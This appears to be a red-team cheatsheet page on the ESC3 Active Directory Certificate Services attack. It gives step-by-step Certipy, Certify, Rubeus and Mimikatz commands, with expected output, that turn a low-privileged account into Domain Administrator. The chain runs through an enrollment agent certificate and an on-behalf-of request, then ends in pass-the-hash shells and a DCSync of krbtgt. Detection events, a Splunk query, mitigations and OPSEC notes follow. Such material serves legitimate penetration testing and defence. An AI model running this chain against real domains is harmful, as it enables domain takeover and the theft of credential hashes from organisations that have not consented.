daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc3-misconfigured-enrollment-agent-templates.md (14821B)


      1 ---
      2 title: "ESC3 — Misconfigured Enrollment Agent Templates"
      3 description: "ESC3 exploits the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1). In legitimate AD environments, this EKU exists for scenarios like IT…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "privilege-escalation"]
      7 tools: ["Mimikatz", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC3 — Misconfigured Enrollment Agent Templates.md"
     11 ---
     12 # ESC3 — Misconfigured Enrollment Agent Templates
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Certificate Template Misconfiguration |
     19 | **Difficulty** | Medium (two-stage attack) |
     20 | **Pre-requisites** | CRA template + second auth template, both enrollable |
     21 | **Tools** | Certipy, Certify.exe, Rubeus |
     22 | **OPSEC Noise** | Medium — two cert requests, requester ≠ subject on second |
     23 | **One-liner** | Request an Enrollment Agent cert (Template 1), then use it to request a Client Auth cert on behalf of Administrator (Template 2). |
     24 
     25 ***
     26 
     27 ## What Is ESC3?
     28 
     29 ESC3 exploits the **Certificate Request Agent EKU** (OID `1.3.6.1.4.1.311.20.2.1`). In legitimate AD environments, this EKU exists for scenarios like IT helpdesk staff requesting smart card certificates on behalf of users who can't do it themselves — a perfectly valid business use case. The abuse happens when this functionality is misconfigured and exposed to low-privileged accounts.
     30 
     31 Where ESC1 and ESC2 are single-template attacks, **ESC3 is fundamentally a two-template, two-certificate attack**. You need:
     32 - **Template 1 (CRA Template):** Grants you an Enrollment Agent certificate
     33 - **Template 2 (Target Template):** A second template that allows agent-based enrollment and has a domain authentication EKU
     34 
     35 Think of it like this — Template 1 gives you a **staff badge** that says "I'm allowed to request on behalf of others." Template 2 is the **door** you then use that badge to walk through, as any user you choose.
     36 
     37 ***
     38 
     39 ## The Two Circumstances That Enable ESC3
     40 
     41 ESC3 has two distinct vulnerability circumstances that must each exist — one on each template:
     42 
     43 ### Circumstance 1 — The CRA Template (Template 1)
     44 | Condition | What to Check |
     45 |-----------|---------------|
     46 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` |
     47 | Manager Approval is off | `Requires Manager Approval: False` |
     48 | No authorized signatures required | `Authorized Signatures Required: 0` |
     49 | Template has **Certificate Request Agent EKU** | `Enrollment Agent: True` / EKU OID `1.3.6.1.4.1.311.20.2.1` |
     50 
     51 ### Circumstance 2 — The Target Template (Template 2)
     52 | Condition | What to Check |
     53 |-----------|---------------|
     54 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` |
     55 | Manager Approval is off | `Requires Manager Approval: False` |
     56 | **Enrollment Agent Restrictions NOT enforced on the CA** | CA output shows `Enrollment Agent Restrictions: None` |
     57 | Template has a **domain authentication EKU** | `Client Authentication: True` |
     58 | If schema version > 1: must have an Application Policy Issuance Requirement requiring CRA EKU | Check `Authorized Signatures Required` and `Application Policies` |
     59 
     60 > 💡 The built-in **`User`** template is almost always a valid Template 2 target in real environments because it is version 1 schema — meaning it doesn't require authorized signatures, and it has Client Authentication EKU. Always check if it's available before looking for something exotic.
     61 
     62 ***
     63 
     64 ## Step 0 — Enumeration
     65 
     66 ```bash
     67 # Standard vulnerable scan
     68 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     69   -dc-ip $TARGET -vulnerable -stdout
     70 
     71 # With hash
     72 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     73   -dc-ip $TARGET -vulnerable -stdout
     74 ```
     75 
     76 ### What Vulnerable ESC3 Output Looks Like
     77 
     78 **Template 1 (CRA Template) — what you're looking for:**
     79 ```
     80 Template Name                       : ESC3-CRA
     81 Enabled                             : True
     82 Client Authentication               : False
     83 Enrollment Agent                    : True        ← THE key flag
     84 Any Purpose                         : False
     85 Enrollee Supplies Subject           : False
     86 Extended Key Usage                  : Certificate Request Agent   ← OID 1.3.6.1.4.1.311.20.2.1
     87 Requires Manager Approval           : False
     88 Authorized Signatures Required      : 0
     89 Permissions
     90   Enrollment Rights : DOMAIN\Domain Users
     91 
     92 [!] Vulnerabilities
     93   ESC3 : 'DOMAIN\Domain Users' can enroll and template has Certificate Request Agent EKU set
     94 ```
     95 
     96 **CA output — confirm no Enrollment Agent Restrictions:**
     97 ```
     98 CA Name                             : DOMAIN-CA
     99 Enrollment Agent Restrictions       : None        ← Required for attack to work
    100 ```
    101 
    102 **Template 2 (Target Template) — what you're looking for:**
    103 ```
    104 Template Name                       : User
    105 Enabled                             : True
    106 Client Authentication               : True        ← Auth EKU ✓
    107 Requires Manager Approval           : False
    108 Authorized Signatures Required      : 0
    109 Permissions
    110   Enrollment Rights : DOMAIN\Domain Users
    111 ```
    112 
    113 ***
    114 
    115 ## The Full Attack Chain — Linux (Certipy)
    116 
    117 ### Step 1 — Request Your Enrollment Agent Certificate (Template 1)
    118 
    119 ```bash
    120 certipy-ad req \
    121   -u 'lowpriv@domain.htb' \
    122   -p 'Password123!' \
    123   -dc-ip $TARGET \
    124   -ca 'DOMAIN-CA-NAME' \
    125   -template 'ESC3-CRA'
    126 
    127 # Output: lowpriv.pfx
    128 # This is your Enrollment Agent weapon — treat it carefully
    129 ```
    130 
    131 **Expected output:**
    132 ```
    133 [*] Requesting certificate via RPC
    134 [*] Successfully requested certificate
    135 [*] Request ID is 12
    136 [*] Got certificate with multiple identities
    137 [*] Saving certificate and private key to 'lowpriv.pfx'
    138 ```
    139 
    140 > ⚠️ Notice that unlike ESC1/ESC2, there is **no `-upn` flag here**. You are simply requesting the CRA cert for yourself. The impersonation happens in Step 2.
    141 
    142 ***
    143 
    144 ### Step 2 — Use Agent Cert to Request ON BEHALF OF Administrator (Template 2)
    145 
    146 ```bash
    147 certipy-ad req \
    148   -u 'lowpriv@domain.htb' \
    149   -p 'Password123!' \
    150   -dc-ip $TARGET \
    151   -ca 'DOMAIN-CA-NAME' \
    152   -template 'User' \
    153   -on-behalf-of 'domain\administrator' \
    154   -pfx lowpriv.pfx
    155 
    156 # Output: administrator.pfx
    157 ```
    158 
    159 **Expected output:**
    160 ```
    161 [*] Requesting certificate via RPC
    162 [*] Successfully requested certificate
    163 [*] Request ID is 13
    164 [*] Got certificate with UPN 'administrator@domain.htb'
    165 [*] Saving certificate and private key to 'administrator.pfx'
    166 ```
    167 
    168 > 💡 The `-on-behalf-of` value uses **`DOMAIN\username`** format (backslash), not UPN format. Get this wrong and you'll get an error. Use the NetBIOS domain name, not the FQDN.
    169 
    170 > 💡 The `-pfx` flag here points to the **Enrollment Agent cert** you got in Step 1 — Certipy uses it to co-sign the CSR on behalf of the target user.
    171 
    172 ***
    173 
    174 ### Step 3 — Authenticate as Administrator
    175 
    176 ```bash
    177 certipy-ad auth \
    178   -pfx administrator.pfx \
    179   -username administrator \
    180   -domain domain.htb \
    181   -dc-ip $TARGET
    182 ```
    183 
    184 **Expected output:**
    185 ```
    186 [*] Using principal: 'administrator@domain.htb'
    187 [*] Trying to get TGT...
    188 [*] Got TGT
    189 [*] Saving credential cache to 'administrator.ccache'
    190 [*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH
    191 ```
    192 
    193 ***
    194 
    195 ### Step 4 — Shell
    196 
    197 ```bash
    198 # Kerberos TGT
    199 export KRB5CCNAME=administrator.ccache
    200 wmiexec.py -k -no-pass DC01.domain.htb
    201 evil-winrm -i DC01.domain.htb -r domain.htb
    202 
    203 # Pass-the-Hash
    204 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    205 psexec.py administrator@$TARGET -hashes :NTHASH
    206 ```
    207 
    208 ***
    209 
    210 ## Full Attack Chain — Windows (Certify.exe + Rubeus)
    211 
    212 ```powershell
    213 # ── STEP 1: Get Enrollment Agent Certificate ────────────────────────────────
    214 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:ESC3-CRA
    215 # Copy cert.pem output, save to file, then convert:
    216 openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx
    217 # Leave password blank
    218 
    219 # ── STEP 2: Use Agent Cert to Enroll on Behalf of Administrator ──────────────
    220 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /onbehalfof:domain\administrator /enrollcert:agent.pfx /enrollcertpw:""
    221 # Copy cert.pem output, convert:
    222 openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
    223 
    224 # ── STEP 3: Get TGT + NT Hash via Rubeus ────────────────────────────────────
    225 .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap
    226 
    227 # ── STEP 4: Import ticket and use ───────────────────────────────────────────
    228 .\Rubeus.exe createnetonly /program:powershell.exe /show
    229 .\Rubeus.exe ptt /ticket:<base64ticket>
    230 
    231 # DCSync from the injected session
    232 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
    233 ```
    234 
    235 ***
    236 
    237 ## ESC3 Visual Attack Flow
    238 
    239 ```
    240 [lowpriv@domain.htb]
    241         │
    242         │  certipy req -template ESC3-CRA
    243         ▼
    244 [lowpriv.pfx] ← Enrollment Agent Certificate (CRA EKU)
    245         │
    246         │  certipy req -template User
    247         │              -on-behalf-of domain\administrator
    248         │              -pfx lowpriv.pfx
    249         ▼
    250 [administrator.pfx] ← Certificate issued FOR Administrator
    251         │
    252         │  certipy auth -pfx administrator.pfx
    253         ▼
    254 [TGT + NT Hash for Administrator]
    255         │
    256         ▼
    257 [DOMAIN ADMIN]
    258 ```
    259 
    260 ***
    261 
    262 ## ESC1 vs ESC2 vs ESC3 — Side by Side
    263 
    264 | | ESC1 | ESC2 | ESC3 |
    265 |---|---|---|---|
    266 | **Templates needed** | 1 | 1 | **2** |
    267 | **Steps** | 2 | 2 (Path A) / 3 (Path B) | **3** |
    268 | **Key flag** | `ENROLLEE_SUPPLIES_SUBJECT` | `Any Purpose` / No EKU | `Certificate Request Agent EKU` |
    269 | **SAN injection** | ✅ Direct via `-upn` | ✅ Path A / ❌ Path B | ❌ Uses `-on-behalf-of` |
    270 | **CA restriction matters** | ❌ | ❌ | ✅ `Enrollment Agent Restrictions: None` required |
    271 | **Certipy key flag** | `-upn` | `-upn` / `-on-behalf-of` | `-on-behalf-of` + `-pfx` |
    272 
    273 ***
    274 
    275 ## Common Errors and Fixes
    276 
    277 | Error | Cause | Fix |
    278 |-------|-------|-----|
    279 | `Got error while trying to request certificate` on Step 2 | CA has Enrollment Agent Restrictions set | Check CA output for `Enrollment Agent Restrictions` — if it's not `None`, restrictions are blocking agent enrollment |
    280 | `The NETBIOS connection with the remote host timed out` | RPC timeout | Re-run without `-dc-host` flag |
    281 | `Certificate has no object SID` on Step 2 | Normal for agent-enrolled certs | Proceed — auth should still work |
    282 | `KDC_ERR_CLIENT_NOT_TRUSTED` on auth | Cert not trusted by DC | Ensure CA cert is in NTAuthCertificates — unlikely issue in a real domain |
    283 
    284 ***
    285 
    286 ## Detection Indicators
    287 
    288 - **Event ID 4887** — CA issued a certificate where the `Requester` and `Subject` are **different users** — the clearest sign of ESC3 exploitation
    289 - **Event ID 4898** — A certificate template with Certificate Request Agent EKU was loaded during enrollment
    290 - Splunk query to detect ESC3-vulnerable template usage:
    291 ```
    292 CertificateRequestAgentEKU == "TRUE" 
    293 AND ManagerApprovalEnabled == "FALSE" 
    294 AND NumAuthorizedSignatures == 0 
    295 AND DomainOrAuthenUsersCanEnrollOrAutoEnroll == "TRUE"
    296 ```
    297 
    298 ***
    299 
    300 ## Mitigation
    301 
    302 - **Enable Enrollment Agent Restrictions** on the CA — restrict which agents can enroll on behalf of which users, and for which templates
    303 - **Remove `Certificate Request Agent` EKU** from any template that doesn't explicitly require it for a business purpose
    304 - **Restrict enrollment rights** on CRA templates — these should never be available to `Domain Users` or `Authenticated Users`
    305 - **Schema Version 2 templates** — configure `Authorized Signatures Required: 1` and set the Application Policy to `Certificate Request Agent` — this forces the CA to validate the signing cert is a proper CRA cert, adding a layer of control
    306 
    307 ***
    308 
    309 ## OPSEC Considerations
    310 
    311 | Action | Log Generated | Noise Level |
    312 |--------|--------------|-------------|
    313 | CRA cert request (Step 1) | Event ID 4886/4887 | 🟢 Low |
    314 | On-behalf-of request (Step 2) | Event ID 4887 (requester ≠ subject) | 🟡 Medium |
    315 | Authentication (Step 3) | Event ID 4768 (TGT) | 🟢 Low |
    316 
    317 > 💡 The on-behalf-of request in Step 2 is the noisiest part — the CA logs clearly show a different requester and subject. This is the primary detection opportunity.
    318 
    319 Sources
    320  AD CS Certificate and Security Configuration Exploits - SecureW2 https://www.securew2.com/blog/ad-cs-certificate-and-security-configuration-exploits
    321  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    322  AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    323  Active Directory Certificate Services (ADCS – ESC3) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc3/
    324  Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/
    325  ADCS ESC3: Enrollment Agent Template - hendryadrian.com https://www.hendryadrian.com/adcs-esc3-enrollment-agent-template/
    326  Active Directory Certificate Services (ADCS) is vulnerable to ESC3 ... https://www.facebook.com/cybersna/posts/active-directory-certificate-services-adcs-is-vulnerable-to-esc3-certificate-att/999663635697077/
    327  ADCS ESC3 Enrollment Agent Exploitation - Active Directory - Scribd https://www.scribd.com/document/870626405/ADCS-ESC3-Enrollment-Agent-Template
    328  Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/
    329  AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html
    330  Active-Directory-Certificate-Services-abuse/ADCS.md at main - GitHub https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/main/ADCS.md
    331  An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/
    332  Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/
    333  Exploiting ESC3 to compromise the domain | Attacking ADCS full course https://www.youtube.com/watch?v=sMTwPU-FTuk
    334  Abusing Active Directory Certificate Services (ADCS) | ESC3 Attack Explained https://www.youtube.com/watch?v=T6-q_R7L5GE